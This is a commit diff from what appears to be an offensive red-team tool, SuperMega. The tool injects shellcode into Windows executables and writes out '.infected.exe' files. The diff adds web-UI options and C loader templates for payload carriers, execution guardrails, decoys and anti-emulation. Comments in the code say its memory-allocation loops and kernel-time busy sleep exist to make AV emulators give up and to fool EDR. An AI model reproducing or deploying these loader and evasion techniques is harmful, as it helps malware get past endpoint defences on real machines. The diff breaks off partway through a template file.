mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
Merge branch 'main' of https://github.com/dobin/SuperMega
This commit is contained in:
+188
-42
@@ -7,13 +7,10 @@
|
|||||||
{% include 'navigation.html' %}
|
{% include 'navigation.html' %}
|
||||||
|
|
||||||
<div class="indent">
|
<div class="indent">
|
||||||
|
|
||||||
<h2> {{project_name}} </h2>
|
|
||||||
|
|
||||||
<div class="row">
|
<div class="row">
|
||||||
<!-- Row 1: Buttons -->
|
|
||||||
<div class="col-1">
|
<div class="col-1">
|
||||||
<div class="row">
|
<!-- Row 1: Buttons -->
|
||||||
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/exec?no_exec=true">
|
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/exec?no_exec=true">
|
||||||
<button class="btn btn-primary" type="submit" value="start">Open Dir</button>
|
<button class="btn btn-primary" type="submit" value="start">Open Dir</button>
|
||||||
</form>
|
</form>
|
||||||
@@ -21,10 +18,8 @@
|
|||||||
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/build">
|
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/build">
|
||||||
<button class="btn btn-primary" type="submit" value="start">Build</button>
|
<button class="btn btn-primary" type="submit" value="start">Build</button>
|
||||||
</form>
|
</form>
|
||||||
</div>
|
|
||||||
|
|
||||||
{% if is_built %}
|
{% if is_built %}
|
||||||
<div class="row">
|
|
||||||
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/exec">
|
<form method="POST" enctype="multipart/form-data" action="/project/{{project_name}}/exec">
|
||||||
<button class="btn btn-primary" type="submit" value="start">Start</button>
|
<button class="btn btn-primary" type="submit" value="start">Start</button>
|
||||||
</form>
|
</form>
|
||||||
@@ -37,22 +32,32 @@
|
|||||||
<button class="btn btn-primary" type="submit" value="start">File Remote</button>
|
<button class="btn btn-primary" type="submit" value="start">File Remote</button>
|
||||||
</form>
|
</form>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
</div>
|
|
||||||
{% endif %}
|
{% endif %}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Row 2: Input files -->
|
<!-- Row 2: Input files -->
|
||||||
<div class="col-2">
|
<div class="col-3">
|
||||||
<!-- leave this here or it will fuck up layout -->
|
<!-- leave this here or it will fuck up layout -->
|
||||||
<form method="POST" enctype="multipart/form-data" action="/project_add">
|
<form method="POST" enctype="multipart/form-data" action="/project_add">
|
||||||
<input type="hidden" name="project_name" value="{{project_name}}">
|
|
||||||
|
<input type="text" name="project_name" class="hidden form-control"
|
||||||
|
placeholder="" value="{{project_name}}"
|
||||||
|
aria-label="PROJECTNAME" aria-describedby="basic-addon1"
|
||||||
|
onchange="this.form.submit()" readonly>
|
||||||
|
|
||||||
<input type="text" name="comment" class="hidden form-control"
|
<input type="text" name="comment" class="hidden form-control"
|
||||||
placeholder="Comment" value="{{project.comment}}"
|
placeholder="" value="{{project.comment}}"
|
||||||
aria-label="PROJECTNAME" aria-describedby="basic-addon1"
|
aria-label="PROJECTNAME" aria-describedby="basic-addon1"
|
||||||
onchange="this.form.submit()">
|
onchange="this.form.submit()">
|
||||||
|
|
||||||
<select class="form-select" name="shellcode" aria-label="SHELLCODE" onchange="this.form.submit()">
|
<!-- Input: Payload File -->
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="shellcode" class="col-sm-3 col-form-label">
|
||||||
|
Payload
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<div class="col-sm-9">
|
||||||
|
<select class="form-select" id="shellcode" name="shellcode"
|
||||||
|
aria-label="SHELLCODE" onchange="this.form.submit()">
|
||||||
{% for shellcode in shellcodes %}
|
{% for shellcode in shellcodes %}
|
||||||
<option value="{{shellcode['filename']}}"
|
<option value="{{shellcode['filename']}}"
|
||||||
{% if shellcode["filename"] in project.settings.payload_path %} selected {% endif %}
|
{% if shellcode["filename"] in project.settings.payload_path %} selected {% endif %}
|
||||||
@@ -61,8 +66,17 @@
|
|||||||
</option>
|
</option>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</select>
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<select class="form-select" name="exe" aria-label="EXE" onchange="this.form.submit()">
|
<!-- Input: EXE File -->
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="exe" class="col-sm-3 col-form-label">
|
||||||
|
Injectable
|
||||||
|
</label>
|
||||||
|
<div class="col-sm-9">
|
||||||
|
<select class="form-select" id="exe" name="exe"
|
||||||
|
aria-label="EXE" onchange="this.form.submit()">
|
||||||
{% for exe in exes %}
|
{% for exe in exes %}
|
||||||
<option value="{{exe['filename']}}"
|
<option value="{{exe['filename']}}"
|
||||||
{% if exe['filename'] == project.settings.inject_exe_in %} selected {% endif %}
|
{% if exe['filename'] == project.settings.inject_exe_in %} selected {% endif %}
|
||||||
@@ -70,7 +84,10 @@
|
|||||||
{{exe['filename'] | basename}} ({{exe['size']}})</option>
|
{{exe['filename'] | basename}} ({{exe['size']}})</option>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</select>
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Input: DLL function -->
|
||||||
{% if exports != [] %}
|
{% if exports != [] %}
|
||||||
<select class="form-select" name="dllfunc" aria-label="DLLFUNC" onchange="this.form.submit()">
|
<select class="form-select" name="dllfunc" aria-label="DLLFUNC" onchange="this.form.submit()">
|
||||||
{% for export in exports %}
|
{% for export in exports %}
|
||||||
@@ -81,23 +98,39 @@
|
|||||||
{% endfor %}
|
{% endfor %}
|
||||||
</select>
|
</select>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
<a href="/exes/{{project.settings.inject_exe_in | basename}}">EXE INFO</a>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Row 3: exe and shellcode info -->
|
<!-- Row 3: exe and shellcode info -->
|
||||||
<div class="col-2">
|
<div class="col-2">
|
||||||
|
<a href="/exes/{{project.settings.inject_exe_in | basename}}">EXE Info:</a>
|
||||||
|
<ul>
|
||||||
|
<li>
|
||||||
{% if is_64 %}
|
{% if is_64 %}
|
||||||
x64: {{ is_64 }}
|
x64: {{ is_64 }}
|
||||||
{% else %}
|
{% else %}
|
||||||
<span class="text-danger">x64: {{ is_64 }}</span>
|
<span class="text-danger">x64: {{ is_64 }}</span>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
/ Dotnet: {{ is_dotnet}} <br>
|
</li>
|
||||||
.text: {{ code_sect_size}} <br>
|
|
||||||
|
<li>
|
||||||
|
Dotnet: {{ is_dotnet}}
|
||||||
|
</li>
|
||||||
|
|
||||||
|
<li>
|
||||||
|
.text: {{ code_sect_size}}
|
||||||
|
</li>
|
||||||
|
|
||||||
|
<li>
|
||||||
.rdata: {{ data_sect_size}}
|
.rdata: {{ data_sect_size}}
|
||||||
(max: {{ data_sect_largest_gap_size}}) <br>
|
(max: {{ data_sect_largest_gap_size}})
|
||||||
|
</li>
|
||||||
|
|
||||||
{% if not has_rodata_section %}
|
{% if not has_rodata_section %}
|
||||||
|
<li>
|
||||||
<span class="text-danger">No .rdata section</span> <br>
|
<span class="text-danger">No .rdata section</span> <br>
|
||||||
|
</li>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
|
</ul>
|
||||||
|
|
||||||
{% if unresolved_dlls|length > 0 %}
|
{% if unresolved_dlls|length > 0 %}
|
||||||
<br>
|
<br>
|
||||||
@@ -108,46 +141,50 @@
|
|||||||
{% endfor %}
|
{% endfor %}
|
||||||
</ul>
|
</ul>
|
||||||
{% endif %}
|
{% endif %}
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Row 4: leet settings -->
|
<!-- Row 4: leet settings -->
|
||||||
<div class="col-2">
|
<div class="col-3">
|
||||||
<select class="form-select" name="carrier_name" aria-label="CARRIERNAME" onchange="this.form.submit()">
|
<div class="form-group row">
|
||||||
|
<label for="carrier_name" class="col-sm-5 col-form-label">
|
||||||
|
Carrier
|
||||||
|
</label>
|
||||||
|
<div class="col-sm-7">
|
||||||
|
<select class="form-select" name="carrier_name" id="carrier_name
|
||||||
|
aria-label="CARRIERNAME" onchange="this.form.submit()">
|
||||||
{% for name in carrier_names %}
|
{% for name in carrier_names %}
|
||||||
<option value="{{name}}"
|
<option value="{{name}}"
|
||||||
{% if name in project.settings.carrier_name %} selected {% endif %}
|
{% if name in project.settings.carrier_name %} selected {% endif %}
|
||||||
>{{name}}</option>
|
>{{name}}</option>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</select>
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<select class="form-select" name="carrier_invoke_style" aria-label="INJECTSTYLE" onchange="this.form.submit()">
|
<div class="form-group row">
|
||||||
|
<label for="carrier_invoke_style" class="col-sm-5 col-form-label">
|
||||||
|
Carrier Invoke
|
||||||
|
</label>
|
||||||
|
<div class="col-sm-7">
|
||||||
|
<select class="form-select" name="carrier_invoke_style" id="carrier_invoke_style"
|
||||||
|
aria-label="INJECTSTYLE" onchange="this.form.submit()">
|
||||||
{% for name, value in carrier_invoke_styles %}
|
{% for name, value in carrier_invoke_styles %}
|
||||||
<option value="{{name}}"
|
<option value="{{name}}"
|
||||||
{% if value in project.settings.carrier_invoke_style.value %} selected {% endif %}
|
{% if value in project.settings.carrier_invoke_style.value %} selected {% endif %}
|
||||||
>{{value}}</option>
|
>{{value}}</option>
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</select>
|
</select>
|
||||||
|
</div>
|
||||||
<select class="form-select" name="decoder_style" aria-label="DECODERESTYLE" onchange="this.form.submit()">
|
|
||||||
{% for name, value in decoderstyles %}
|
|
||||||
<option value="{{name}}"
|
|
||||||
{% if value in project.settings.decoder_style.value %} selected {% endif %}
|
|
||||||
>{{value}}</option>
|
|
||||||
{% endfor %}
|
|
||||||
</select>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Row 5 -->
|
<div class="form-group row">
|
||||||
<div class="col-2">
|
<label for="carrier_invoke_style" class="col-sm-5 col-form-label">
|
||||||
<div class="form-check">
|
Payload Location
|
||||||
<input class="form-check-input" type="checkbox" value="YES" id="flexCheckDefault"
|
|
||||||
name="fix_missing_iat" onchange="this.form.submit()" {{ 'checked' if fix_missing_iat }}>
|
|
||||||
<label class="form-check-label" for="flexCheckDefault">
|
|
||||||
Add missing IAT entries
|
|
||||||
</label>
|
</label>
|
||||||
</div>
|
<div class="col-sm-7">
|
||||||
|
<select class="form-select" name="payload_location" id="payload_location"
|
||||||
<select class="form-select" name="payload_location" aria-label="PAYLOADLOCATION" onchange="this.form.submit()">
|
aria-label="PAYLOADLOCATION" onchange="this.form.submit()">
|
||||||
{% for name, value in payload_locations %}
|
{% for name, value in payload_locations %}
|
||||||
<option value="{{name}}"
|
<option value="{{name}}"
|
||||||
{% if value in project.settings.payload_location.value %} selected {% endif %}
|
{% if value in project.settings.payload_location.value %} selected {% endif %}
|
||||||
@@ -157,14 +194,123 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div class="form-check">
|
||||||
|
<input class="form-check-input" type="checkbox" value="YES" id="flexCheckDefault"
|
||||||
|
name="fix_missing_iat" onchange="this.form.submit()" {{ 'checked' if fix_missing_iat }}>
|
||||||
|
<label class="form-check-label" for="flexCheckDefault">
|
||||||
|
Add missing IAT entries
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Row 5 -->
|
||||||
|
<div class="col-2">
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="decoder_style" class="col-sm-5 col-form-label">
|
||||||
|
Encoder
|
||||||
|
</label>
|
||||||
|
<div class="col-sm-7">
|
||||||
|
<select class="form-select" name="decoder_style" id="decoder_style"
|
||||||
|
aria-label="DECODERESTYLE" onchange="this.form.submit()">
|
||||||
|
{% for name in decoder_styles %}
|
||||||
|
<option value="{{name}}"
|
||||||
|
{% if name in project.settings.decoder_style %} selected {% endif %}
|
||||||
|
>{{name}}
|
||||||
|
</option>
|
||||||
|
{% endfor %}
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="guardrail" class="col-sm-5 col-form-label">
|
||||||
|
Guardrails
|
||||||
|
</label>
|
||||||
|
<div class="col-sm-7">
|
||||||
|
<select class="form-select" name="guardrail" id="guardrail"
|
||||||
|
aria-label="GUARDRAILSTYLE" onchange="this.form.submit()">
|
||||||
|
{% for name in guardrailstyles %}
|
||||||
|
<option value="{{name}}"
|
||||||
|
{% if name in project.settings.plugin_guardrail %} selected {% endif %}
|
||||||
|
>{{name}}
|
||||||
|
</option>
|
||||||
|
{% endfor %}
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{% if project.settings.plugin_guardrail != "none" %}
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="guardrail" class="col-sm-5 col-form-label">
|
||||||
|
Guard Data
|
||||||
|
</label>
|
||||||
|
<div class="col-sm-7">
|
||||||
|
<input type="text" name="guardrail_data" class="hidden form-control"
|
||||||
|
placeholder="" value="{{project.settings.plugin_guardrail_data}}"
|
||||||
|
aria-label="guardrail_data" aria-describedby="basic-addon1"
|
||||||
|
onchange="this.form.submit()">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
{% endif %}
|
||||||
|
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="antiemulation_style" class="col-sm-5 col-form-label">
|
||||||
|
AntiEmulation
|
||||||
|
</label>
|
||||||
|
<div class="col-sm-7">
|
||||||
|
<select class="form-select" name="antiemulation" id="antiemulation"
|
||||||
|
aria-label="antiemulation" onchange="this.form.submit()">
|
||||||
|
{% for name in antiemulationstyles %}
|
||||||
|
<option value="{{name}}"
|
||||||
|
{% if name in project.settings.plugin_antiemulation %} selected {% endif %}
|
||||||
|
>{{name}}
|
||||||
|
</option>
|
||||||
|
{% endfor %}
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="decoy_style" class="col-sm-5 col-form-label">
|
||||||
|
Decoy
|
||||||
|
</label>
|
||||||
|
<div class="col-sm-7">
|
||||||
|
<select class="form-select" name="decoy" id="decoy"
|
||||||
|
aria-label="decoy" onchange="this.form.submit()">
|
||||||
|
{% for name in decoystyles %}
|
||||||
|
<option value="{{name}}"
|
||||||
|
{% if name in project.settings.plugin_decoy %} selected {% endif %}
|
||||||
|
>{{name}}
|
||||||
|
</option>
|
||||||
|
{% endfor %}
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group row">
|
||||||
|
<label for="virtualprotect_style" class="col-sm-5 col-form-label">
|
||||||
|
VirtualProtect
|
||||||
|
</label>
|
||||||
|
<div class="col-sm-7">
|
||||||
|
<select class="form-select" name="virtualprotect" id="virtualprotect"
|
||||||
|
aria-label="virtualprotect" onchange="this.form.submit()">
|
||||||
|
{% for name in virtualprotectstyles %}
|
||||||
|
<option value="{{name}}"
|
||||||
|
{% if name in project.settings.plugin_virtualprotect %} selected {% endif %}
|
||||||
|
>{{name}}
|
||||||
|
</option>
|
||||||
|
{% endfor %}
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
</form>
|
</form>
|
||||||
|
|
||||||
<div class="row">
|
<div class="row">
|
||||||
<div class="col">
|
|
||||||
{{ project_dir }} <br>
|
|
||||||
<div class="custom-line"></div>
|
<div class="custom-line"></div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
|
||||||
|
|
||||||
|
|
||||||
<div class="row">
|
<div class="row">
|
||||||
|
|||||||
+48
-23
@@ -88,7 +88,7 @@ def project(name):
|
|||||||
|
|
||||||
has_rodata_section = superpe.has_rodata_section()
|
has_rodata_section = superpe.has_rodata_section()
|
||||||
if has_rodata_section:
|
if has_rodata_section:
|
||||||
superpe.get_rdata_relocmanager().find_largest_gap()
|
superpe.get_rdata_rangemanager().find_largest_gap()
|
||||||
unresolved_dlls = pe.dllresolver.unresolved_dlls(superpe)
|
unresolved_dlls = pe.dllresolver.unresolved_dlls(superpe)
|
||||||
|
|
||||||
project_dir = os.path.dirname(os.getcwd() + "\\" + project.settings.main_dir)
|
project_dir = os.path.dirname(os.getcwd() + "\\" + project.settings.main_dir)
|
||||||
@@ -98,10 +98,16 @@ def project(name):
|
|||||||
shellcodes = list_files_and_sizes(PATH_SHELLCODES)
|
shellcodes = list_files_and_sizes(PATH_SHELLCODES)
|
||||||
|
|
||||||
carrier_names = get_template_names()
|
carrier_names = get_template_names()
|
||||||
decoderstyles = [(color.name, color.value) for color in DecoderStyle]
|
|
||||||
carrier_invoke_styles = [(color.name, color.value) for color in CarrierInvokeStyle]
|
carrier_invoke_styles = [(color.name, color.value) for color in CarrierInvokeStyle]
|
||||||
payload_locations = [(color.name, color.value) for color in PayloadLocation]
|
payload_locations = [(color.name, color.value) for color in PayloadLocation]
|
||||||
|
|
||||||
|
guardrail_styles = list_files(PATH_GUARDRAILS)
|
||||||
|
antiemulation_styles = list_files(PATH_ANTIEMULATION)
|
||||||
|
decoy_styles = list_files(PATH_DECOY)
|
||||||
|
virtualprotect_styles = list_files(PATH_VIRTUALPROTECT)
|
||||||
|
decoder_styles = list_files(PATH_DECODER)
|
||||||
|
|
||||||
|
|
||||||
return render_template('project.html',
|
return render_template('project.html',
|
||||||
project_name = name,
|
project_name = name,
|
||||||
project=project,
|
project=project,
|
||||||
@@ -111,7 +117,7 @@ def project(name):
|
|||||||
exes=exes,
|
exes=exes,
|
||||||
shellcodes=shellcodes,
|
shellcodes=shellcodes,
|
||||||
carrier_names=carrier_names,
|
carrier_names=carrier_names,
|
||||||
decoderstyles=decoderstyles,
|
decoder_styles=decoder_styles,
|
||||||
carrier_invoke_styles=carrier_invoke_styles,
|
carrier_invoke_styles=carrier_invoke_styles,
|
||||||
payload_locations=payload_locations,
|
payload_locations=payload_locations,
|
||||||
exports=exports,
|
exports=exports,
|
||||||
@@ -128,6 +134,11 @@ def project(name):
|
|||||||
|
|
||||||
has_remote=has_remote,
|
has_remote=has_remote,
|
||||||
fix_missing_iat=project.settings.fix_missing_iat,
|
fix_missing_iat=project.settings.fix_missing_iat,
|
||||||
|
|
||||||
|
guardrailstyles = guardrail_styles,
|
||||||
|
antiemulationstyles = antiemulation_styles,
|
||||||
|
decoystyles = decoy_styles,
|
||||||
|
virtualprotectstyles = virtualprotect_styles
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
@@ -145,6 +156,16 @@ def list_files_and_sizes(directory, prepend=""):
|
|||||||
return files_and_sizes
|
return files_and_sizes
|
||||||
|
|
||||||
|
|
||||||
|
def list_files(directory, prepend="") -> List[str]:
|
||||||
|
files = []
|
||||||
|
for filename in os.listdir(directory):
|
||||||
|
filepath = os.path.join(directory, filename)
|
||||||
|
if os.path.isfile(filepath):
|
||||||
|
filename = filename.replace(".c", "")
|
||||||
|
files.append(filename)
|
||||||
|
return files
|
||||||
|
|
||||||
|
|
||||||
@views_project.route("/project_add", methods=['POST', 'GET'])
|
@views_project.route("/project_add", methods=['POST', 'GET'])
|
||||||
def add_project():
|
def add_project():
|
||||||
if request.method == 'POST':
|
if request.method == 'POST':
|
||||||
@@ -155,6 +176,18 @@ def add_project():
|
|||||||
|
|
||||||
# new project?
|
# new project?
|
||||||
if storage.get_project(project_name) == None:
|
if storage.get_project(project_name) == None:
|
||||||
|
# Default values for web create
|
||||||
|
settings.init_payload_injectable(
|
||||||
|
"messagebox.bin",
|
||||||
|
"data/binary/exes/procexp64.exe",
|
||||||
|
""
|
||||||
|
)
|
||||||
|
settings.decoder_style = "xor_2"
|
||||||
|
settings.carrier_name = "alloc_rw_rx"
|
||||||
|
settings.carrier_invoke_style = CarrierInvokeStyle.BackdoorCallInstr
|
||||||
|
settings.payload_location = PayloadLocation.CODE
|
||||||
|
settings.fix_missing_iat = True
|
||||||
|
|
||||||
# add new project
|
# add new project
|
||||||
project = WebProject(project_name, settings)
|
project = WebProject(project_name, settings)
|
||||||
project.comment = comment
|
project.comment = comment
|
||||||
@@ -162,32 +195,24 @@ def add_project():
|
|||||||
|
|
||||||
# update project
|
# update project
|
||||||
else:
|
else:
|
||||||
settings.payload_path = PATH_SHELLCODES + request.form['shellcode']
|
settings.init_payload_injectable(
|
||||||
if request.form['shellcode'] == "createfile.bin":
|
request.form['shellcode'],
|
||||||
settings.verify = True
|
request.form['exe'],
|
||||||
settings.try_start_final_infected_exe = False
|
request.form.get('dllfunc', "")
|
||||||
else:
|
)
|
||||||
settings.cleanup_files_on_exit = False
|
|
||||||
|
|
||||||
if 'dllfunc' in request.form:
|
|
||||||
settings.dllfunc = request.form['dllfunc']
|
|
||||||
|
|
||||||
settings.inject_exe_in = request.form['exe']
|
|
||||||
settings.inject_exe_out = request.form['exe'].replace(".exe", ".infected.exe")
|
|
||||||
|
|
||||||
settings.fix_missing_iat = True if request.form.get('fix_missing_iat') != None else False
|
settings.fix_missing_iat = True if request.form.get('fix_missing_iat') != None else False
|
||||||
|
settings.carrier_name = request.form['carrier_name']
|
||||||
carrier_name = request.form['carrier_name']
|
settings.plugin_antiemulation = request.form['antiemulation']
|
||||||
settings.carrier_name = carrier_name
|
settings.plugin_decoy = request.form['decoy']
|
||||||
|
settings.plugin_guardrail = request.form['guardrail']
|
||||||
carrier_invoke_style = request.form['carrier_invoke_style']
|
carrier_invoke_style = request.form['carrier_invoke_style']
|
||||||
settings.carrier_invoke_style = CarrierInvokeStyle[carrier_invoke_style]
|
settings.carrier_invoke_style = CarrierInvokeStyle[carrier_invoke_style]
|
||||||
|
settings.decoder_style = request.form['decoder_style']
|
||||||
decoder_style = request.form['decoder_style']
|
|
||||||
settings.decoder_style = DecoderStyle[decoder_style]
|
|
||||||
|
|
||||||
payload_location = request.form['payload_location']
|
payload_location = request.form['payload_location']
|
||||||
settings.payload_location = PayloadLocation[payload_location]
|
settings.payload_location = PayloadLocation[payload_location]
|
||||||
|
settings.plugin_guardrail_data = request.form.get('guardrail_data', '')
|
||||||
|
settings.plugin_virtualprotect = request.form.get('virtualprotect')
|
||||||
|
|
||||||
# overwrite project
|
# overwrite project
|
||||||
project = storage.get_project(project_name)
|
project = storage.get_project(project_name)
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
|||||||
|
|
||||||
|
void antiemulation() {
|
||||||
|
// None
|
||||||
|
}
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
|
||||||
|
#define ALLOC_NUM 256
|
||||||
|
|
||||||
|
|
||||||
|
/* This will allocate ALLOC_NUM RW memory regions,
|
||||||
|
set them to RX, and free them
|
||||||
|
|
||||||
|
The idea is that the AV emulator will probably give up, either because
|
||||||
|
of used memory is above maximum, or amount of instructions, or
|
||||||
|
number of API calls, or time.
|
||||||
|
|
||||||
|
It hopefully also makes the EDR think this program is doing some
|
||||||
|
kind of interpreter or JIT compilation, and not a malicious payload.
|
||||||
|
*/
|
||||||
|
|
||||||
|
void antiemulation() {
|
||||||
|
void* allocs[ALLOC_NUM];
|
||||||
|
DWORD result;
|
||||||
|
|
||||||
|
for(int i=0; i<4; i++) {
|
||||||
|
|
||||||
|
for(int n=0; n<ALLOC_NUM; n++) {
|
||||||
|
allocs[n] = VirtualAlloc(
|
||||||
|
NULL,
|
||||||
|
0x1000,
|
||||||
|
0x3000,
|
||||||
|
p_RW
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
for(int n=0; n<ALLOC_NUM; n++) {
|
||||||
|
if (VirtualProtect(
|
||||||
|
allocs[n],
|
||||||
|
1000,
|
||||||
|
p_RX,
|
||||||
|
&result) == 0)
|
||||||
|
{
|
||||||
|
return 7;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Sleep(200);
|
||||||
|
|
||||||
|
BOOL bSuccess;
|
||||||
|
for(int n=0; n<ALLOC_NUM; n++) {
|
||||||
|
bSuccess = VirtualFree(
|
||||||
|
allocs[n],
|
||||||
|
1000,
|
||||||
|
0x00008000); // MEM_RELEASE
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
|
||||||
|
|
||||||
|
/* Busy sleep with time register
|
||||||
|
|
||||||
|
This function will busy sleep for the given amount of time.
|
||||||
|
It uses the kernel time register, which is not affected by
|
||||||
|
the sleep function (memory address 0x7ffe0004).
|
||||||
|
|
||||||
|
This may defeat the AV emulator (maximum time).
|
||||||
|
*/
|
||||||
|
|
||||||
|
int get_time_raw() {
|
||||||
|
ULONG* PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
|
||||||
|
LONG* PUserSharedData_High1Time = (PLONG)0x7ffe0324;
|
||||||
|
ULONG* PUserSharedData_LowPart = (PULONG)0x7ffe0320;
|
||||||
|
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
|
||||||
|
((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
|
||||||
|
return kernelTime;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int sleep_ms(DWORD sleeptime) {
|
||||||
|
DWORD start = get_time_raw();
|
||||||
|
while (get_time_raw() - start < sleeptime) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void antiemulation() {
|
||||||
|
sleep_ms(3000);
|
||||||
|
}
|
||||||
@@ -8,29 +8,35 @@ char *supermega_payload;
|
|||||||
#define p_RX 0x20
|
#define p_RX 0x20
|
||||||
#define p_RWX 0x40
|
#define p_RWX 0x40
|
||||||
|
|
||||||
/* iat_reuse
|
|
||||||
|
|
||||||
Standard IAT reuse shellcode
|
/* VirtualAlloc -> rw -> rwx
|
||||||
|
|
||||||
* create new memory region for the payload
|
* create new memory region for the payload
|
||||||
* will set it to RWX (safe to run shellcodes, opsec-unsafe)
|
* will set it to RWX (opsec-unsafe, allows in-memory decryption with sgn)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
{{plugin_antiemulation}}
|
||||||
|
|
||||||
|
{{plugin_decoy}}
|
||||||
|
|
||||||
|
{{plugin_executionguardrail}}
|
||||||
|
|
||||||
|
|
||||||
int main()
|
int main()
|
||||||
{
|
{
|
||||||
// Execution Guardrail: Env Check
|
DWORD result;
|
||||||
wchar_t envVarName[] = L"USERPROFILE";
|
|
||||||
wchar_t tocheck[] = L"C:\\Users\\";
|
// Call: Execution Guardrail
|
||||||
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
|
if (executionguardrail() != 0) {
|
||||||
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
|
return 1;
|
||||||
if (result == 0) {
|
|
||||||
return 6;
|
|
||||||
}
|
|
||||||
if (mystrcmp(buffer, tocheck) != 0) {
|
|
||||||
return 6;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Decoy
|
// Call: Anti Emulation plugin
|
||||||
//WinExec("C:\\windows\\system32\\notepad.exe", 1);
|
antiemulation();
|
||||||
|
|
||||||
|
// Call: Decoy plugin
|
||||||
|
decoy();
|
||||||
|
|
||||||
// Allocate 1
|
// Allocate 1
|
||||||
// char *dest = ...
|
// char *dest = ...
|
||||||
@@ -54,13 +60,3 @@ int main()
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int mystrcmp(wchar_t* str1, wchar_t* str2) {
|
|
||||||
int i = 0;
|
|
||||||
while (str1[i] != L'\0' && str2[i] != L'\0') {
|
|
||||||
if (str1[i] != str2[i]) {
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
i++;
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -8,29 +8,35 @@ char *supermega_payload;
|
|||||||
#define p_RX 0x20
|
#define p_RX 0x20
|
||||||
#define p_RWX 0x40
|
#define p_RWX 0x40
|
||||||
|
|
||||||
/* iat_reuse_rx
|
|
||||||
|
|
||||||
Standard IAT reuse shellcode
|
{{plugin_antiemulation}}
|
||||||
|
|
||||||
|
{{plugin_decoy}}
|
||||||
|
|
||||||
|
{{plugin_executionguardrail}}
|
||||||
|
|
||||||
|
{{plugin_virtualprotect}}
|
||||||
|
|
||||||
|
/* VirtualAlloc -> rw -> rx
|
||||||
|
|
||||||
* create new memory region for the payload
|
* create new memory region for the payload
|
||||||
* will set it to RX (may break some shellcodes, opsec-safe)
|
* will set it to RX (may break some shellcodes, opsec-safe)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
int main()
|
int main()
|
||||||
{
|
{
|
||||||
// Execution Guardrail: Env Check
|
DWORD result;
|
||||||
wchar_t envVarName[] = L"USERPROFILE";
|
|
||||||
wchar_t tocheck[] = L"C:\\Users\\";
|
// Call: Execution Guardrail
|
||||||
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
|
if (executionguardrail() != 0) {
|
||||||
DWORD result = GetEnvironmentVariableW(envVarName, buffer, 1024);
|
return 1;
|
||||||
if (result == 0) {
|
|
||||||
return 6;
|
|
||||||
}
|
|
||||||
if (mystrcmp(buffer, tocheck) != 0) {
|
|
||||||
return 6;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Decoy
|
// Call: Anti Emulation plugin
|
